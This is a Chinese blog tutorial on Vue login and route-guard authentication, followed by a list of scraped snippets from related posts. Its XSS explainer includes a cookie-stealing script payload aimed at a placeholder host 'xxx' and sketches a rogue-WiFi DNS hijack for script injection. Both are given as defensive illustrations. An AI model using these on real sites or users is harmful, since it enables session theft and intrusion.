-
认证又称“验证”、“鉴权”,是指通过一定的手段,完成对用户身份的确认。身份验证的方法有很多,基本上可分为:基于共享密钥的身份验证、基于生物学特征的身份验证和基于公开密钥加密算法... 在框架中已经做好了...
来自:https://www.cnblogs.com/herozhou/p/7469667.html
认证又称“验证”、“鉴权”,是指通过一定的手段,完成对用户身份的确认。身份验证的方法有很多,基本上可分为:基于共享密钥的身份验证、基于生物学特征的身份验证和基于公开密钥加密算法的身份验证。
登录鉴权功能是后台管理项目的基本需求,登录控制,权限分配,这些都是很普遍的功能。 在框架中已经做好了这部分的工作,我们来了解一下是怎么做的,对以后在框架的基础上做改进是有很大的帮助的。
在此之前思考过很多种方法去做登录功能,一种比较靠谱的方法是用一个Node服务端,利用Node+express+passport的技术栈
Passport项目是一个基于Nodejs的认证中间件,支持本地登录和第三方账号登录验证。Passport目的只是为了“登陆认证”,因此,代码干净,易维护,可以方便地集成到其他的应用中。
Web应用一般有2种登陆认证的形式:
-
- 用户名和密码认证登陆
- OAuth认证登陆
Passport可以根据应用程序的特点,配置不同的认证机制。
Passport是十分强大的,这个技术栈也是非常靠谱的,但是我们就一个纯前端框架,需要再做一个Node的服务端吗?维护起来多麻烦,况且违背了Unix哲学的'简单原则'----尽量用简单的方法解决问题----是'Unix哲学'的根本原则。这也就是著名的KISS(keep it simple, stupid),意思是'保持简单和笨拙'。。
既然这样不太好,那就使用单页应用强大的路由来做登录。
如果对vue-router还不熟悉的同学一定要找尤大大课后开小灶了,官方文档:vue-router
截取一段介绍
你可以使用
router.beforeEach
注册一个全局的before
钩子:const router = new VueRouter({ ... }) router.beforeEach((to, from, next) => { // ... })
当一个导航触发时,全局的
before
钩子按照创建顺序调用。钩子是异步解析执行,此时导航在所有钩子 resolve 完之前一直处于 等待中。每个钩子方法接收三个参数:
-
-
to: Route
: 即将要进入的目标 路由对象 -
from: Route
: 当前导航正要离开的路由 -
next: Function
: 一定要调用该方法来 resolve 这个钩子。执行效果依赖next
方法的调用参数。-
next()
: 进行管道中的下一个钩子。如果全部钩子执行完了,则导航的状态就是 confirmed (确认的)。 -
next(false)
: 中断当前的导航。如果浏览器的 URL 改变了(可能是用户手动或者浏览器后退按钮),那么 URL 地址会重置到from
路由对应的地址。 -
next('/')
或者next({ path: '/' })
: 跳转到一个不同的地址。当前的导航被中断,然后进行一个新的导航。
-
-
确保要调用
next
方法,否则钩子就不会被 resolved。所以wz框架采用的是拦截导航,判断登录与否和是否有权限,让它完成继续跳转或重定向到登录界面。
这篇教程分为两部分一部分讲登录,另一部分讲权限验证,因为篇幅太长所以需要用两篇来写。
登录流程是在客户端发送账号密码到服务端,服务端验证成功后返回token存储用户的权限,前端用Cookie把token存储在本地,在路由跳转(router.beforeEach)中判断是否存在token,另外前端可以通过token请求服务端获取userInfo,在vuex中存储着用户的信息(用户名,头像,注册时间等等)。
权限控制就是在路由跳转(router.beforeEach)中判断token中的权限和要去往(to)页面的路由信息(router meta)中配置的权限是否匹配,同时我们的侧边栏也是根据权限动态生成的,当所登录的账号没有权限访问时,就不显示在侧边栏中(例如访客登录就无法看到编辑器的侧边栏选项),这样用户既看不到侧边栏选项,又无法直接访问到,双重控制更安全。
登录界面只有两个输入框,因为不是对外网站所以就没做注册功能。
首先来看登录界面login.vue的逻辑。
src/views/login/index.vue
使用了iview的form表单,autoComplete属性是自动填充默认值到输入框里,这里是用户名amdin@wz.com,
@keyup.enter.native="handleLogin"属性,当按下enter键时会自动触发handleLogin函数,不需要再点击登录按钮,符合日常登录习惯。
当输入账号密码点击登录按钮会触发handleLogin函数。其中的逻辑是,获取页面表单中的数据(账号密码)通过表格validate验证正确性,依照的规范就是我们在data属性中定义的。
data() { const validateEmail = (rule, value, callback) => { if (!isWscnEmail(value)) { //export function isWscnEmail(str) { //const reg = /^[a-z0-9](?:[-_.+]?[a-z0-9]+)*@wz\.com$/i; //return reg.test(str.trim()); //} callback(new Error('请输入正确的合法邮箱')); } else { callback(); } }; const validatePass = (rule, value, callback) => { if (value.length < 6) { callback(new Error('密码不能小于6位')); } else { callback(); } }; return { loginForm: { email: 'admin@wz.com', password: '' }, loginRules: { email: [ { required: true, trigger: 'blur', validator: validateEmail } ], password: [ { required: true, trigger: 'blur', validator: validatePass } ] }, loading: false, showDialog: false } },
账号密码必须填写,密码不能小于6位,账号必须是以wz.com结尾的电子邮箱地址, 或者可以定义更严密的规范。 如果不遵守制定的规范,将会无法登陆。
千万不要相信用户的输入!千万不要相信用户的输入!千万不要相信用户的输入!
除非你想遭受XSS攻击。
如果有同学还不了解什么是XSS攻击,那么一定要赶快去了解。
下面敲黑板了!划重点!
XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制--例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的“缓冲区溢出攻击“,而JavaScript是新型的“ShellCode”。
其重点是“跨域”和“客户端执行”。有人将XSS攻击分为三种,分别是:
1. Reflected XSS(基于反射的XSS攻击)
2. Stored XSS(基于存储的XSS攻击)
3. DOM-based or local XSS(基于DOM或本地的XSS攻击)
Reflected XSS
基于反射的XSS攻击,主要依靠站点服务端返回脚本,在客户端触发执行从而发起Web攻击。
例子:
1. 做个假设,在淘宝搜索书籍,搜不到书的时候显示提交的名称。
2. 在搜索框搜索内容,填入“<script>alert('handsome boy')</script>”, 点击搜索。
3. 当前端页面没有对返回的数据进行过滤,直接显示在页面上, 这时就会alert那个字符串出来。
4. 进而可以构造获取用户cookies的地址,通过QQ群或者垃圾邮件,来让其他人点击这个地址:
http://www.amazon.cn/search?name=<script>document.location='http://xxx/get?cookie='+document.cookie</script>
Stored XSS
基于存储的XSS攻击,是通过发表带有恶意跨域脚本的帖子/文章,从而把恶意脚本存储在服务器,每个访问该帖子/文章的人就会触发执行。
例子:
1. 发一篇文章,里面包含了恶意脚本
今天天气不错啊!<script>alert('handsome boy')</script>
2. 后端没有对文章进行过滤,直接保存文章内容到数据库。
3. 当其他看这篇文章的时候,包含的恶意脚本就会执行。
PS:因为大部分文章是保存整个HTML内容的,前端显示时候也不做过滤,就极可能出现这种情况。
DOM-based or local XSS
基于DOM或本地的XSS攻击。一般是提供一个免费的wifi,但是提供免费wifi的网关会往你访问的任何页面插入一段脚本或者是直接返回一个钓鱼页面,从而植入恶意脚本。这种直接存在于页面,无须经过服务器返回就是基于本地的XSS攻击。
例子:
1. 提供一个免费的wifi。
1. 开启一个特殊的DNS服务,将所有域名都解析到我们的电脑上,并把Wifi的DHCP-DNS设置为我们的电脑IP。
2. 之后连上wifi的用户打开任何网站,请求都将被我们截取到。我们根据http头中的host字段来转发到真正服务器上。
3. 收到服务器返回的数据之后,我们就可以实现网页脚本的注入,并返回给用户。
4. 当注入的脚本被执行,用户的浏览器将依次预加载各大网站的常用脚本库。
所以一定要对用户的输入做一个过滤。否则后台都被别人给黑了,老板不炒你鱿鱼才怪。
当我们输入不正确的账号密码时将会自动验证(输入完立即验证而不是等到点击登录才验证),如果不正确将无法登录。
如果符合验证规则,则会触发vuex中的LoginByEmail
src/store/modules/user.jsimport { loginByEmail, logout, getInfo } from 'api/login';
LoginByEmail({ commit }, userInfo) { const email = userInfo.email.trim(); return new Promise((resolve, reject) => { loginByEmail(email, userInfo.password).then(response => { const data = response.data; console.log(response.data); Cookies.set('Admin-Token', response.data.token); commit('SET_TOKEN', data.token); commit('SET_EMAIL', email); resolve(); }).catch(error => { reject(error); }); }); },
把email和password发送到服务器,接受返回来的数据,将token存入 Cookies,并触发vuex SET_TOKEN及SET_EMAIL事件,存入到vuex全局状态里。
loginByEmail
src/api/login.js
export function loginByEmail(email, password) { const data = { email, password }; return fetch({ url: '/login/loginbyemail', method: 'post', data }); }
发送fetch请求到指定的url。这里的url是本地服务器的地址,本项目因为是纯前端项目,所以使用了 mock.js。
有了这个插件,前端就可以独立后端开发。
Mock.mock(/\/login\/loginbyemail/, 'post', loginAPI.loginByEmail);
在mock.js中这行代码截获了所有/login/loginbyemail 路径的请求,使用loginAPI.loginByEmail处理这个请求
const userMap = { admin: { role: ['admin'], token: 'admin', introduction: '我是超级管理员', name: 'Super Admin', uid: '001' }, editor: { role: ['editor'], token: 'editor', introduction: '我是编辑', name: 'Normal Editor', uid: '002' }, developer: { role: ['develop'], token: 'develop', introduction: '我是开发', name: '工程师小王', uid: '003' } } export default { loginByEmail: config => { const { email } = JSON.parse(config.body); return userMap[email.split('@')[0]]; }, getInfo: config => { const { token } = param2Obj(config.url); if (userMap[token]) { return userMap[token]; } else { return Promise.reject('a'); } }, logout: () => 'success' };
可以看到loginByEmail的作用是把账户信息返回前端,例如一个用户是管理员,就把匹配到的admin的账户信息返回去。
当得到了admin的账户信息,就把它存储在cookie里
Cookies.set('Admin-Token', response.data.token);
这样一来在login.js中判断token是否存在,如果存在token,就继续路由跳转,如果不存在,就跳转到登录界面。
src/login.js
router.beforeEach((to, from, next) => { NProgress.start() // 开启Progress if (store.getters.token) { // 判断是否有token,从vuex中取出 if (to.path === '/login') { next({ path: '/' }) } else { if (store.getters.roles.length === 0) { // 判断当前用户是否已拉取完user_info信息 store.dispatch('GetInfo').then(res => { // 拉取user_info const roles = res.data.role store.dispatch('GenerateRoutes', { roles }).then(() => { // 生成可访问的路由表 router.addRoutes(store.getters.addRouters) // 动态添加可访问路由表 next({ ...to }) // hack方法 确保addRoutes已完成 }) }).catch(() => { store.dispatch('FedLogOut').then(() => { next({ path: '/login' }) }) }) } else { // 没有动态改变权限的需求可直接next() 删除下方权限判断 ↓ if (hasPermission(store.getters.roles, to.meta.role)) { next()// } else { next({ path: '/', query: { noGoBack: true }}) } // 可删 ↑ } } } else { if (whiteList.indexOf(to.path) !== -1) { // 在免登录白名单,直接进入 next() } else { next('/login') // 否则全部重定向到登录页 NProgress.done() // 在hash模式下 改变手动改变hash 重定向回来 不会触发afterEach 暂时hack方案 ps:history模式下无问题,可删除该行! } } })
src/store/modules/user.js
vuex中是这样定义的,相当于直接Cookies.get(),为什么要分开呢?显然是为了模块化,方便日后改动项目。
const user = { state: { user: '', status: '', email: '', code: '', uid: undefined, auth_type: '', token: Cookies.get('Admin-Token'), name: '', avatar: '', introduction: '', roles: [], setting: { articlePlatform: [] } },
vuex会从cookies里面取得token的值,这样就能通过验证去往路由的下个页面。
大家有什么问题最好去我github提issues,文章评论评论较长时间才查看一次。
接下来的教程讲一下封装UI组件、router、webpack、node命令行构建工具等内容。
希望大家看了这系列教程都能制作出自己的前端框架,从而在工作中得心应手。
如果喜欢就点个start鼓励下作者吧。
github地址:vue-framework-wz
线上体验地址:立即体验
-
-
前端框架和后端框架怎么实现交互?
2017-07-30 00:32:09比如说我用vue写前端,用java写后端。 那么vue用webpack打包,node跑。 java跑在tomcat,jboss容器上。 能像jsp那种把前端资源直接放在项目目录中使用吗? 若是不能那么怎么让二者交互呢? -
vue前端+java后端
2017-03-05 20:11:34既然使用vue,那就不要使用jsp了,jsp是后端渲染,生成页面发给浏览器,使用vue用浏览器渲染; 使用vue和java做单页面网站,浏览器第一次访问该网站,java把静态html页面和js等发给浏览器,浏览器点击跳转时前方案一:
在jsp里写vue 也就是所把jquery换成vue就行 (不知道这样能做spa吗? 能用vue-router吗? 好像也能做, 感觉会很乱, 适合微型项目)
java后端什么时候适合vue呢
写起来就发现了,展示型网站写进这些前端框架里实在太蠢了,又没什么页面内交互(一点击就要换页面),原生html还得照着这些框架的规矩改写,又累又没什么意义,完全跟后台模板没法比。
jsp渲染慢?,后台java运行慢?上消息队列把能异步的都异步啊,上负载均衡啊,上...。前台渲染慢?js/css等等静态文件上缓存上CDN啊。
中后端管理平台是很适合这些前端框架的方案二:
既然使用vue,那就不要使用jsp了,jsp是后端渲染,生成页面发给浏览器,使用vue用浏览器渲染;
使用vue和java做单页面网站,浏览器第一次访问该网站,java把静态html页面和js等发给浏览器,浏览器点击跳转时前端模拟路由,然后js使用fetch,ajax这些发送HTTP请求数据,java接收HTTP请求后将数据返回后,vue接收请求获取数据,重新渲染显示页面。
因为无需渲染页面,java只负责使用rest收发json数据,性能肯定更高了 -
前端使用vue开发, 后端是提供接口吗? 还是要怎么进行数据交互,小白问题请教;
2018-08-19 00:27:37前端使用vue开发, 后端是提供接口吗? 还是要怎么进行数据交互,小白问题请教; 之前做app的时候 都是后端出接口, 前端直接调用接口, 渲染数据, vue是怎样进行数据交换的啊 后端要提供什么 -
vuejs前后端数据交互之从后端请求数据
2017-12-27 10:55:45vuejs从后端请求数据的方式有多种,我这里介绍其中一种get方法。 比如从后端请求一张表过来, (1)首先,在data中return一个msg:[]数组来接收表的数据; (2)在方法中定义一个请求函数,比如我们这里函数名定义为...本文将向大家介绍一种用vue-resource从后端请求数据的方法。
比如说从后端请求一张表过来,
(1)首先,在data中return一个msg:[]数组来接收表的数据;
(2)在方法中定义一个请求函数,比如我们这里函数名定义为showDetails;
methods:{
showDetails:function(){
this.$http.get(baseURL+“api/条件”).then(function(res){
this.msg = res.body;
});
}
}
这里baseURL项目的路径,如果项目部署在服务器上面一般格式为www.XXX.com/项目名;之后的api是后端封装的api接口;然后条件就是对表的查询,删除等语句。比如对名为student的表进行查询,需要获取studentID为40001的学生信心,则查询语句可写为‘query?table=student&studentIDeq=40001',需要注意的是与有关数据库的操作字段(通俗点讲,可以理解为后端定义的字段)要加引号,而前端定义的字段要放在引号外面;
(3)最后,别忘了这个请求操作是没有调用,是默认执行的,所以要在mounted里面实时执行;
mounted: function (){
this.showDetails();
}好了,这个函数就完成了,你可以通过浏览器控制台的network查看从后端取得的数据,或者通过console打印输出也可以看到啦!!!
-
基于Vue的后台选择推荐
2017-07-12 21:31:19引言: Vue.js目前是业界大名鼎鼎的Web解决方案,具体有点,我这里就不再赘述了,感兴趣的童鞋自行查找阅读,这里罗列一下,这几天自己研究的成果,管理后台。管理后台 Vue Element Admi address: ...引言: Vue.js目前是业界大名鼎鼎的Web解决方案,具体有点,我这里就不再赘述了,感兴趣的童鞋自行查找阅读,这里罗列一下,这几天自己研究的成果,管理后台。
管理后台
- Vue Element Admi
address: https://github.com/PanJiaChen/vue-element-admin
star: 2898
评价: 非常出色的后台管理系统框架,直接填内容即可。 - Vue Management System
address: https://github.com/lin-xin/vue-manage-system
star: 2278
评价: 系统出色,界面美观,更新活跃
其他还有类似的系统,这里就不再赘述了。Vue资料汇总
- Vue Element Admi
-
在vue.js框架给后端发送请求
2019-05-21 10:36:59在一篇文章中,我们说了如果在后端...这篇文章将展示使用在vue.js框架中如何发送请求。 Axios 是一个基于 promise 的 HTTP 库,可以用在浏览器和 node.js 中。Axios官方说明文档 var map... -
Vue.js如何实现与后台的数据交互?
2017-08-16 05:22:48看有关的教学视频,说是使用api.ajax获取数据,但是没有具体演示,所以想清大神来帮忙回答一下,Vue.js如何与后台进行数据交互,还有从后台获取数据后,如何使用,例如集合或者对象如何进行展示。希望各位大神... -
Vue后台常用模板
2018-06-01 16:48:451.element 在线地址: http://blog.gdfengshuo.com/example/work/#/dashboard 文档: ... 2.Vue Admin 官网:https://admin.vuebulma.com 地址:https://github.com/... -
Vue项目配置跨域访问和代理proxy设置
2019-11-22 15:54:53Vue项目配置跨域访问和代理设置vue-cli代理Nodejs做中间时行路由转发后端跨域访问 在vue单页应用项目开发时,避免不了要请求后端,这时通常就会出现跨域问题。有2种常用的解决方案 后端设置允许跨域访问 前端通过... -
基于vue-cli3+typescript+element-ui搭建起来的后端管理平台框架(骨架)
2019-02-19 12:32:05项目中配置了dev、production、fat、uat四个环境,每个环境配置了3个基础的url地址,方便现代后端微服务开发模式(可能接口与图片/文件存储的api地址不一样) 三、本项目使用vue-cookie作为存储用户信息用于登录鉴权 四... -
vue后台管理系统框架
2019-06-16 19:23:312019独角兽企业重金招聘Python工程师标准>>> ... -
Vue管理后台框架选择推荐
2019-07-31 01:32:53Vue.js 是一个目前比较流行的前端框架,在业界也算很有名气,今天这里为大家罗列一下基于Vue的后端管理的框架。使用这些框架你会发现它包括了我们常用的路由,状态,交互等... -
Vue传递参数-从前端HTML到Vue函数再到后端之间的参数传递
2019-05-31 11:38:18Vue是非常好用的前端框架,配置了便捷的前端互动功能,这里将介绍一下Vue最基本的参数传递方法。 和其他语言一样,Vue函数支持从HTML传递参数到Vue函数,并把参数传递到后台进行处理。 本文将按照一个通过输入筛选... -
Vue+iview---从后端获取数据并且渲染到表格上
2019-03-18 20:51:23订餐系统前端使用的是vue框架,基于iview组件,前后端分离,所以需要从后端获取表格中的数据并且渲染到表格上。 方法介绍 1.整体介绍 2.方法介绍 2.1 时间绑定 请选择时间段: <DatePicker type=... -
初识 vue -- 最简单的前后端交互示例
2018-10-12 21:27:06一、学习 vue 面临的问题 最近想学一门前端技术防身,看到博客园中写 vue 的多,那就 vue 吧。都说 vue 的官方教程写得好,所以我就从官方教程开始学习。官方教程说“Vue (读音 /vjuː/,类似于 view) 是一套用于... -
构建一个基于Vue完整的商城后台管理系统(附带完整代码及项目初始化)
2019-03-31 19:05:26其中包含了登录,用户管理,商品管理,管理员权限管理,数据统计,订单管理,物流管理,代金券系统,支付方式配置页面风格管理等模块。 前端技术 vue vue-cli 脚手架工具进行项目整体架构的搭建 webpack ... -
跟我学Springboot开发后端管理系统1:概述
2020-06-24 15:46:31Matrxi-Web是一个前后端分离的管理系统,前端采用vue开发框架,后端使用springboot开发框架,具体快速开发、简单可复用的特点。只要把整体框架搭建起来了,后面就只用写CRUD了。 Matrxi-Web具备基本的管理系统的基本... -
nodejs前端+后端
2019-01-08 15:45:01使用express做RESTful api接服务器,mysql做数据库存储,vue做前端展示。 1、mysql安装(也可用MongoDB:https://www.mongodb.com/download-center#community) 官网:https://www.mysql.com/ 2、安装node:... -
利用vue和php前后端分离
2018-02-11 09:31:52一.为什么要前后端分离 当业务越来越复杂,端上的产品越来越多,展现层的变化...分工这里后端的工作一般是:编写Lumen代码,提供服务写好Restful的API文档用postman进行测试前端的工作一般是:编写Vue代码打包编...
-
This error is generated by TI‘s USCIF driver or utilities
-
ARM Cortex-M3的SRAM单元故障软件的自检测研究
-
Java微信小程序鲜花礼品购物商城 大学生毕业设计教学视频
-
Springboot集成Zxing生成二维码
-
关于Javascript回调函数的一个妙用
-
SkyEye智慧眼系统搭建 一
-
JVM从入门到入魔
-
rawurlencode()和urlencode()函数区别
-
Java教程_2020最新版_JavaSE基础入门教程(小白版)
-
PHP中利用sleep函数实现定时执行功能实现代码
-
python 导出程序的运行环境
-
Cx--Spring Boot 进阶
-
Axure 9.0 因缺思厅案例教程
-
Java小白学习方法指南!避开思维惯性!让学习事半功倍
-
Java并发编程(线程 的生命周期和基本方法)
-
传感器的噪声及其抑制方法
-
Java微信小程序珠宝首饰购物商城 大学生毕业设计教学视频
-
互联网药品信息服务资格证书(所需文件都需要盖章 + 企业文件红色正规抬头)
-
kafka 线上真实环境实战及调优,参数配置详解
-
C6000系列DSP Flash二次加载技术研究